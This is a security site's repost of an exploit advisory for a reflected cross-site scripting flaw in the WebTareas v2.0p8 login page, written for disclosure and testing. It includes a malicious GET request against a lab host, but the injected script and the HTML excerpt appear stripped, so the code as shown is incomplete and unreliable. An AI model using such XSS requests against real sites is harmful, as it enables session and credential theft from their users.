Exploit/Advisories

Published on May 8th, 2020 📆 | 4473 Views ⚑

0

WebTareas 2.0p8 Cross Site Scripting ↭

https://www.ispeech.org/text.to.speech

# Exploit Title: WebTareas v2.0p8 - Login Portal - Reflected Cross Site Scripting (XSS)
# Exploit Author: Bobby Cooke
# Date: May 7th, 2020
# Vendor Homepage: http://webtareas.sf.net/
# Software Link: https://sourceforge.net/projects/webtareas/files/2.0p8/webTareas-v2.0p8.zip/download
# Version: v2.0p8 
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Description: WebTareas v2.0p8 suffers from a reflected Cross Site Scripting (XSS) vulnerability on the 'login.php' webpage. When accessing the login page, the URL is reused within the webpage in an unsafe way; it is reused in the login form.# Affected HTML Source Code (Shortened with "...")
94 
...>webTareas
" name="loginForm"... 
95 
96 ...
# Malicious GET Request
GET /webtareas/general/login.php?boku"> HTTP/1.1
Host: 10.16.65.130
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Connection: close
Cookie: webTareasSID=url0mrcng8q22c54kt3fs0d64g

Tagged with: 20p8 • advisory • cross • CSRF • exploit • overflow • scanner • scripting • security • Site • vulnerability • webtareas • whitepaper • XSS

Comments are closed.

🌟 Your Account

Username/Email Password
Remember Me
Register
🔔 Email Subscriptions

Get new posts by email
- Donate Via Wallets
  MetaMask
  
  Trust Wallet
  
  Binance Wallet
  
  WalletConnect
Popular
- Debian Security Advisory 5664-1 – Torchsec by Admin April 18, 2024 -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5664-1 security@debian.orghttps://www.debian.org/security/… (9)
- Google Sues App Developers Over Fake Crypto… by Admin April 8, 2024 Apr 08, 2024NewsroomInvestment Scam / Mobile Security Google has filed… (8)
- Red Hat Security Advisory 2024-1687-03 – Torchsec by Admin April 9, 2024 The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_1687.jsonRed Hat officially shut… (8)
- WordPress Travelscape Theme 1.0.3 Arbitrary File… by Admin April 8, 2024 # Exploit Title: Wordpress Theme Travelscape v1.0.3 - Arbitrary File… (7)
Gloss
- Lost In Press on Hackers Exploiting WP-Automatic Plugin Bug to Create Admin Accounts on WordPress Sites
- vikierm on Red Hat Security Advisory 2024-2639-03 – Torchsec
- vilianashf on Ubuntu Security Notice USN-6759-1 – Torchsec
- vikikmg on Ubuntu Security Notice USN-6761-1 – Torchsec
- vikiofb on Ubuntu Security Notice USN-6729-3 – Torchsec
- Irinvff on Okta Warns of Unprecedented Surge in Proxy-Driven Credential Stuffing Attacks
- MichailmoeYI on Major Security Flaws Expose Keystrokes of Over 1 Billion Chinese Keyboard App Users
- MichailmoeYI on Ubuntu Security Notice USN-6745-1 – Torchsec
- EdithImpagGE on Red Hat Security Advisory 2024-1882-03 – Torchsec
- EdithImpagGE on Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Insecure Direct Object Reference – Torchsec
☕️Social Media

Torchsec

Tweets by Torch_sec
👥Members

Newest | Active | Popular
- Lost In Press
  
  registered 2 days, 9 hours ago
- Janet Ruggiero
  
  registered 2 days, 23 hours ago
- Ted Daigre
  
  registered 4 days, 3 hours ago
- Abraham Wingate
  
  registered 4 days, 5 hours ago
- Krystle Bogner
  
  registered 4 days, 6 hours ago
🌍 Forum Groups

Newest | Active | Popular | Alphabetical
- General Talk
  
  active 2 days, 9 hours ago
- Comments & Suggestions
  
  active 2 days, 9 hours ago
- Ebooks – Papers
  
  active 2 days, 9 hours ago
- Networking
  
  active 2 days, 9 hours ago
- Linux / Open Source
  
  active 2 days, 9 hours ago
linktr.ee/obewyn

We share and comment on interesting infosec related news, tools and more. Follow us on RSS ,Facebook or Twitter for the latest updates. Torchsec is designed to help Auditors, Pentesters & Security Experts to keep their ethical hacking oriented toolbox up-to-date .
This website is made for educational and ethical testing purposes only。It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this website.

Archives

© Torchsec Privacy Policy Disclaimer T&C

Back to Top ↑